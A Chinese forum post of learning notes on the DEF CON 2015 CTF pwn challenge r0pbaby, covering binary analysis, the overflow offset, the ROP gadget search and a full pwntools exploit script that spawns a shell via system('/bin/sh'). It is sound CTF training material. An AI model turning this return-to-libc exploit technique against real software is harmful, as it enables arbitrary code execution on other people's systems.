最近打算系统的学习Pwn这块内容,刚好前段趁双11购买了不少网课,于是在某春秋上看了Atum的《CTF PWN选手的养成》课程,课程里面布置了不少作业,因此打算开个系列帖子,将自己在做作业时的一些心得体会分享出来,也算是自己的学习笔记吧。
这是一道Defcon 2015 Qualifier上的PWN题目,名叫r0baby
第一步:首先拿到题目,先checksec看一下:
程序为64位小端,并且开启了NX(堆栈不可执行)、PIE(地址随机化ASLR)和Fortify保护(一种增强保护机制,防止缓冲区溢出攻击,会替换诸如memcpy、memset、strcpy等危险函数)。
第二步:运行看看:
发现有4个选项:
1、获得libc地址
2、获得libc中某个函数的地址
3、向栈中输入小于1024长度的任意数据
4、退出程序
先选择1看看:
再选择2,输入system看看:
再选择3,随便输入点东西看看:
发现输入了若干字符,居然报错了(熟悉的Segmentation fault)
第三步:用gdb看看究竟在哪里崩了:
可以看到崩溃在了0x555555554eb3:ret的地方
通过pattern_offset计算,可以得知溢出点在8个字节处:
第四步:将程序丢到IDA中,发现函数并不多,一眼便可以看到main入口函数,F5伪代码可以看到,程序会调用系统默认的libc.so.6这个库
通过运行libc.so.6,可以获得当前系统运行的libc版本:
1、由于开启了ASLR,因此需要知道当前执行时的system和'/bin/sh'的地址
2、知识点:64位系统中函数传参使用的寄存器顺序是RDI,RSI,RDX,RCX,R8,R9
3、在调用system函数时,先给RDI寄存器赋值为'/bin/sh'
4、因此需要使用pop rax; pop rdi; call rax这样顺序的一条指令
5、可以通过实时运行时的system地址-system偏移地址,从而得到system的基址,而后即可通过system基址+'/bin/sh'和ppc的偏移地址,即可得到它们两个的实时地址
6、栈溢出布局如下:
第六步:利用ROPgadget找到合适的ppc地址:
#最终利用EXP代码:
from pwn import * p = process('./r0pbaby') ppc_addr_offset = 0xfa2cb sh_addr_offset = 0x183cee sys_addr_offset = 0x46ff0 p.recvuntil(": ") p.sendline("2") p.recvuntil(": ") p.sendline("system") system_addr = p.recvline().split(": ")[1].strip("\n") system_addr = long(system_addr,16) system_base_addr = system_addr - sys_addr_offset print "system_base: %x" % system_base_addr sh_address = system_base_addr + sh_addr_offset print "sh_address: %x" % sh_address ppc_address = system_base_addr + ppc_addr_offset print "ppc_address: %x" % ppc_address p.recvuntil(": ") p.sendline("3") p.recvuntil(": ") payload = "A" * 8 + p64(ppc_address) + p64(system_addr) + p64(sh_address) print payload length = str(len(payload)) print length p.sendline(length) p.sendline(payload) p.interactive()
参考资料:
https://www.jianshu.com/p/982a9f09a739
https://blog.csdn.net/weixin_34112030/article/details/89664399
[2020元旦礼物]《看雪论坛精华17》发布!(补齐之前所有遗漏版本)!
最后于 4天前 被bugchong编辑 ,原因: 修改部分描述